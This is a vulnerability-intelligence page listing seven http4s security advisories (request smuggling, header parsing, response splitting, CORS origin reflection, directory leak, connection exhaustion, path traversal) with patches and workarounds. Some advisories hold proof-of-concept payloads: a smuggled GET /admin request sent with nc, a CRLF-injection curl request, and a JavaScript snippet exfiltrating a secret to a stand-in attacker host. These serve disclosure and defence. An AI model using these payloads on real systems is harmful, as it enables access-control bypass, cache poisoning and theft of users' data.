Patrowl Intel
Sign in
CVEs 7
Skip to the CVEs

Filter by signal

7 http4s CVEs, newest first

  1. — 1 exploitSep 23, 2025

    Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section ### Summary http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: - Bypass front-end servers security controls - Launch targeted attacks against active users - Poison web caches Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers. ### Details The HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`). This method parses the trailer section using `Parser.parse`, where the issue originates. `parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf && (idx > 0 && message(idx - 1) == cr))` that sets `complete=true` even if no `\r\n\r\n` is found. ```scala if (current == colon) { state = true // set state to check for header value name = new String(message, start, idx - start) // extract name string start = idx + 1 // advance past colon for next start // TODO: This if clause may not be necessary since the header value parser trims if (message.size > idx + 1 && message(idx + 1) == space) { start += 1 // if colon is followed by space advance again idx += 1 // double advance index here to skip the space } // double CRLF condition - Termination of headers } else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check complete = true // completed terminate loop } ``` The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling. ### PoC Start a simple webserver that echoes the received requests: ```scala import cats.effect._ import cats.implicits._ import org.http4s._ import org.http4s.dsl.io._ import org.http4s.ember.server.EmberServerBuilder import org.http4s.server.Router import org.http4s.server.middleware.RequestLogger import org.typelevel.log4cats.LoggerFactory import org.typelevel.log4cats.slf4j.Slf4jFactory import com.comcast.ip4s._ object ExploitServer extends IOApp { implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO] val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] { case req @ _ => for { bodyStr <- req.bodyText.compile.string method = req.method.name uri = req.uri.toString() version = req.httpVersion.toString headers = req.headers.headers.map { header => s"${header.name.toString.toLowerCase}: ${header.value}" }.mkString("\n") responseText = s"""$method $uri $version $headers $bodyStr """ result <- Ok(responseText) } yield result } val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)( Router("/" -> echoService).orNotFound ) override def run(args: List[String]): IO[ExitCode] = { EmberServerBuilder .default[IO] .withHost(ipv4"0.0.0.0") .withPort(port"8080") .withHttpApp(httpApp) .build .use { server => IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never } .as(ExitCode.Success) } } ``` `build.sbt` ``` ThisBuild / scalaVersion := "2.13.15" val http4sVersion = "0.23.30" lazy val root = (project in file(".")) .settings( name := "http4s-echo-server", libraryDependencies ++= Seq( "org.http4s" %% "http4s-ember-server" % http4sVersion, "org.http4s" %% "http4s-dsl" % http4sVersion, "org.http4s" %% "http4s-circe" % http4sVersion, "ch.qos.logback" % "logback-classic" % "1.4.11", "org.typelevel" %% "log4cats-slf4j" % "2.6.0", ) ) ``` Send the following request: ```http POST / HTTP/1.1 Host: localhost Transfer-Encoding: chunked 2 aa 0 Test: smuggling a GET /admin HTTP/1.1 Host: localhost ``` You can do that with the following command: `printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080` You will see that the request is interpreted as two separate requests ``` 16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa" 16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost) ```

  2. 7.5 1 exploit RemoteJan 6, 2023

    Http4s improperly parses User-Agent and Server headers ### Impact The `User-Agent` and `Server` header parsers are susceptible to a fatal error on certain inputs. In http4s, modeled headers are lazily parsed, so this only applies to services that explicitly request these typed headers. #### v0.21.x ```scala val unsafe: Option[`User-Agent`] = req.headers.get(`User-Agent`) ``` #### v0.22.x, v0.23.x, v1.x ```scala val unsafe: Option[`User-Agent`] = req.headers.get[`User-Agent`] val alsoUnsafe: Option[`Server`] = req.headers.get[Server] ``` ### Patches Fixes are released in 0.21.34, 0.22.15, 0.23.17, and 1.0.0-M38. ### Workarounds #### Use the weakly typed header interface ##### v0.21.x ```scala val safe: Option[Header] = req.headers.get("User-Agent".ci) // but don't do this val unsafe = header.map(_.parsed) ``` ##### v0.22.x, v0.23.x, v1.x ```scala val safe: Option[Header] = req.headers.get(ci"User-Agent") ```

  3. 8.7 1 exploit EPSS 1.2 % RemoteSep 22, 2021

    Response Splitting from unsanitized headers ### Impact http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields: * Header names (`Header.name`å * Header values (`Header.value`) * Status reason phrases (`Status.reason`) * URI paths (`Uri.Path`) * URI authority registered names (`URI.RegName`) (through 0.21) The following backends render invalid carriage return, newline, or null characters in an unsafe fashion. | | blaze-server | ember-server | blaze-client | ember-client | jetty-client | |:---------------|:-------------|:-------------|:-------------|--------------|--------------| | header names | ⚠ | ⚠ | ⚠ | ⚠ | ⚠ | | header values | ⚠ | ⚠ | ⚠ | ⚠ | | | status reasons | ⚠ | ⚠ | | | | | URI paths | | | ⚠ | ⚠ | | | URI regnames | | | ⚠ < 0.22 | ⚠ < 0.22 | | For example, given the following service: ```scala import cats.effect._ import org.http4s._ import org.http4s.dsl.io._ import org.http4s.server.blaze.BlazeServerBuilder import scala.concurrent.ExecutionContext.global object ResponseSplit extends IOApp { override def run(args: List[String]): IO[ExitCode] = BlazeServerBuilder[IO](global) .bindHttp(8080) .withHttpApp(httpApp) .resource .use(_ => IO.never) val httpApp: HttpApp[IO] = HttpApp[IO] { req => req.params.get("author") match { case Some(author) => Ok("The real content") .map(_.putHeaders(Header("Set-Cookie", s"author=${author}"))) case None => BadRequest("No author parameter") } } } ``` A clean `author` parameter returns a clean response: ```sh curl -i 'http://localhost:8080/?author=Ross' ``` ```http HTTP/1.1 200 OK Content-Type: text/plain; charset=UTF-8 Set-Cookie: author=Ross Date: Mon, 20 Sep 2021 04:12:10 GMT Content-Length: 16 The real content ``` A malicious `author` parameter allows a user-agent to hijack the response from our server and return different content: ```sh curl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you' ``` ```http HTTP/1.1 200 OK Content-Type: text/plain; charset=UTF-8 Set-Cookie: author=hax0r Content-Length: 13 I hacked you ``` ### Patches Versions 0.21.29, 0.22.5, 0.23.4, and 1.0.0-M27 perform the following: * If a status reasoon phrase is invalid, it is dropped. Rendering is optional per spec. * If a header name is invalid in a request or response, the header is dropped. There is no way to generically sanitize a header without potentially shadowing a correct one. * If a header value is invalid in a request or response, it is sanitized by replacing null (`\u0000`), carriage return (`\r`), and newline (`\n`) with space (` `) characters per spec. * If a URI path or registered name is invalid in a request line, the client raises an `IllegalArgumentException`. * If a URI registered name is invalid in a host header, the client raises an `IllegalArgumentException`. ### Workarounds http4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend. The carriage return, newline, and null characters are the most threatening. Not all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients. ### References * https://owasp.org/www-community/attacks/HTTP_Response_Splitting * https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values ### For more information If you have any questions or comments about this advisory: * Open an issue in [GitHub](http://github.com/http4s/http4s) * Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)

  4. 9.1 RemoteSep 2, 2021

    Default CORS config allows any origin with credentials ### Impact #### Origin reflection attack The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com: ```scala val routes: HttpRoutes[F] = HttpRoutes.of { case req if req.pathInfo === "/secret" => Response(Ok).withEntity(password).pure[F] } val app = CORS(routes.orNotFound) ``` The following request is made to our server: ```http GET /secret HTTP/1.1 Host: vulnerable.example.com Origin: https://adversary.example.net Cookie: sessionId=... ``` When the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin: ```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://adversary.example.org Access-Control-Allow-Credentials: true Content-Type: text/plain p4ssw0rd ``` A malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`: ```javascript var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.example.org/secret',true); req.withCredentials = true; req.send(); function reqListener() { location='//bad-people.example.org/log?key='+this.responseText; }; ``` #### Null origin attack The middleware is also susceptible to a Null Origin Attack. A user agent may send `Origin: null` when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with `Access-Control-Allow-Origin: null`, permitting a similar exfiltration of secrets to the above. ### Patches The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures: ### Migration The `CORS` object exposes a default `CORSPolicy` via `CORS.policy`. This can be configured with various `with*` methods, like any http4s builder. Finally, the `CORSPolicy` may be applied to any `Http`, like any other http4s middleware: ```scala val routes: HttpRoutes[F] = ??? val cors = CORS.policy .withAllowOriginAll .withAllowCredentials(false) .apply(routes) ``` ### Workarounds It is possible to be safe in unpatched versions, but note the following defects exist: * The `anyMethod` flag, enabled by default, accepts methods that cannot be enumerated in the `Access-Control-Allow-Methods` preflight response. * Rejected CORS requests receive a `403` response, when the client should be the enforcement point. The server should just omit all CORS response headers. * Does not send `Vary: Access-Control-Request-Headers` on preflight requests. This may confuse caches. * Does not validate the `Access-Control-Request-Headers` of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. * Needlessly sends `Vary: Access-Control-Request-Method` on non-preflight requests. This should be harmless in practice. * Needlessly sends `Access-Control-Max-Age` header on non-preflight requests. This should be harmless in practice. * Sends an invalid `Access-Control-Allow-Credentials: false` instead of omitting the header. This should be harmless in practice. #### Explicit origins In versions before the patch, set `anyOrigin` to `false`, and then specifically include trusted origins in `allowedOrigins`. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy( anyOrigin = false, allowOrigins = Set("http://trusted.example.com") ) val cors = CORS(routes, config) ``` ###### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default .withAnyOrigin(false) .withAllowedOrigins(Set("http://trusted.example.com")) val cors = CORS(routes, config) ``` #### Disable credentials Alternatively, sharing responses tainted by credentials can be deprecated. ##### 0.21.x ```scala val routes: HttpRoutes[F] = ??? val config = CORS.DefaultConfig.copy(allowCredentials = false) val cors = CORS(routes, config) ``` ##### 0.22.x, 0.23.x, 1.x ```scala val routes: HttpRoutes[F] = ??? val config = CORSConfig.default.withAllowedCredentials(false) val cors = CORS(routes, config) ``` ### References * The [MDN guide to CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) * [PayloadsAllTheThings CORS misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/6cba7ceda93c3f64559c3e73881c21076536e5fb/CORS%20Misconfiguration/README.md) ### For more information If you have any questions or comments about this advisory: * Open an issue in [GitHub](http://github.com/http4s/http4s) * Contact us via the [http4s security policy](https://github.com/http4s/http4s/security/policy)

  5. 5.8 EPSS 1.4 % RemoteMay 28, 2021

    StaticFile.fromUrl can leak presence of a directory ### Impact `StaticFile.fromUrl` can leak the presence of a directory on a server when the `URL` scheme is not `file://`, and the URL points to a fetchable resource under its scheme and authority. The function returns `F[None]`, indicating no resource, if `url.getFile` is a directory, without first checking the scheme or authority of the URL. If a URL connection to the scheme and URL would return a stream, and the path in the URL exists as a directory on the server, the presence of the directory on the server could be inferred from the 404 response. The contents and other metadata about the directory are not exposed. This affects http4s versions: * 0.21.7 through 0.21.23 * 0.22.0-M1 through 0.22.0-M8 * 0.23.0-M1 * 1.0.0-M1 through 1.0.0-M22 ### Patches The [patch](https://github.com/http4s/http4s/commit/52e1890665410b4385e37b96bc49c5e3c708e4e9) is available in the following versions: * v0.21.24 * v0.22.0-RC1 * v0.23.0-RC1 * v1.0.0-M23 Note: a previous version of this advisory incorrectly referred to 0.22.0-M9 and 0.23.0-M2. ### Workarounds Don't call `StaticFile.fromUrl` with non-file URLs. ### For more information If you have any questions or comments about this advisory: * Open an issue in [the http4s repository](https://github.com/http4s/http4s) * Disclose further vulnerabilities according to the [http4s security policy](https://github.com/http4s/http4s/blob/main/SECURITY.md)

  6. 7.5 EPSS 2.2 % RemoteFeb 2, 2021

    Unbounded connection acceptance in http4s-blaze-server ### Impact blaze-core, a library underlying http4s-blaze-server, accepts connections unboundedly on its selector pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections. http4s provides a general `MaxActiveRequests` middleware mechanism for limiting open connections, but it is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open. ### Patches In 0.21.18, 0.22.0-M3, and 1.0.0-M16, a new`maxConnections` property, with a default value of 1024, has been added to the `BlazeServerBuilder`. Setting the value to a negative number restores unbounded behavior, but is strongly disrecommended. The NIO2 backend does not respect `maxConnections`. Its use is now deprecated in http4s-0.21, and the option is removed altogether starting in http4s-0.22. The connections are bounded in 0.21.17, 0.22.0-M2, and 1.0.0-M14, but the `maxConnections` parameter was passed incorrectly, making it impossible to change the Blaze default of 512. ### Workarounds * An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx’s connection bounding is both asynchronous and properly respects backpressure. * http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support. Its performance in terms of RPS is appreciably behind Blaze’s, and as the newest backend, has substantially less industrial uptake. * http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support. Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake. * http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support. Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake. ### References See [the Blaze GHSA](https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc) for more on the underlying issue. ### For more information If you have any questions or comments about this advisory: * Open an issue in [http4s/http4s](http://github.com/http4s/http4s) * Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy)

  7. 7.6 EPSS 7.0 % RemoteMar 25, 2020

    Local file inclusion vulnerability in http4s ### Impact This vulnerability applies to all users of: * `org.http4s.server.staticcontent.FileService` * `org.http4s.server.staticcontent.ResourceService` * `org.http4s.server.staticcontent.WebjarService` #### Path escaping URI normalization is applied incorrectly. Requests whose path info contain `../` or `//` can expose resources outside of the configured location. Specifically: * `FileService` may expose any file on the local file system. * `ResourceService` may expose any resource on the class path. #### Prefix matching When the service is configured with a non-empty `pathPrefix` that doesn't end in a slash, any directories whose names are a prefix of `systemPath` (from `FileService`) or `pathPrefix` (from `ResourceService`) are exposed. For example, if `pathPrefix` is `/foo` and `systemPath` is `/bar`, a request to `/foobaz/quux.txt` exposes file `/barbaz/quux.txt`, when only files beneath `/bar` should be available. #### URI decoding URI segments are not decoded before resource resolution. This causes resources with reserved characters in their name to incorrectly return a 404. It also may incorrectly expose the rare resource whose name is URI encoded. This applies to `FileService`, `ResourceService`, and `WebjarService`. ### Patches In all three services, paths with an empty segment, a `.` segment, or a `..` segment are now rejected with a `400 Bad Request` response. This fixes exposure outside the configured root. Many clients already eliminate dot segments according to the rules in [RFC3986, Section 5.2.4](https://tools.ietf.org/html/rfc3986#section-5.2.4). A middleware that does so at the server level may be considered if there is demand. If `pathInfo` is non-empty, and does not begin with `/`, then a 404 response is generated. This fixes the prefix matching exposure. All path segments are URI decoded before being passed to the file system or resource path. This allows resolution of resources with reserved characters in the name, and prevents incorrect exposure of resources whose names are themselves URI encoded. ### Workarounds The recommended course is to upgrade: * v0.18.26, binary compatible with the 0.18.x series * v0.20.20, binary compatible with the 0.20.x series * v0.21.2, binary compatible with the 0.21.x series Note that 0.19.0 is a deprecated release and has never been supported. If an upgrade is impossible: * Temporarily copy `FileService.scala`, `ResourceService.scala`, and `WebjarService.scala` from the appropriate release series into your project and recompile with that, changing the package name and reference in your application. * Users of a servlet backend can use the servlet container's file serving capabilities. ### Credits Thank you to Thomas Gøytil for the discovery, responsible disclosure, and assistance testing of this vulnerability. ### For more information If you have any questions or comments about this advisory: * Open an issue in [http4s/http4s](http://github.com/http4s/http4s) * Email a maintainer: * [Ross A. Baker](mailto:ross@rossabaker.com)